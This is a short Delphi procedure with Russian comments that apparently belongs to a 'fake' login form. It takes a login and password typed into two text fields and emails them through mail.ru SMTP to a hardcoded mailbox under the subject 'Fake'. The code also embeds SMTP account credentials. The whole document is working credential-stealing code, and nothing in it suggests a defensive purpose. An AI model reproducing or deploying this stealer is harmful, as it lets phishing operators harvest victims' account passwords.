procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.mail.ru'; // Хост
IdSMTP1.Port:=25; // Порт
IdSMTP1.Username:='fakeforyou'; // Логин рабочего мыла
IdSMTP1.Password:='ghbdtn'; // Пароль рабочего мыла
IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); // Текст который будет приходить на мыло
IdMessage1.From.Text:='fakeforyou@mail.ru'; // Мыло с которого отправляем сообщение
IdMessage1.Recipients.EMailAddresses:='fakeforyou1 @mail.ru'; // Мыло на которое отправляем сообщение
IdMessage1.Subject:='Fake'; // Тема сообщения
IdSMTP1.Connect(); // коннектимся
if IdSMTP1.Connected=true then // Если подключились то
IdSMTP1.Send(IdMessage1); // Отправляем сообщение
IdSMTP1.Disconnect // Отключаемся
end;

end.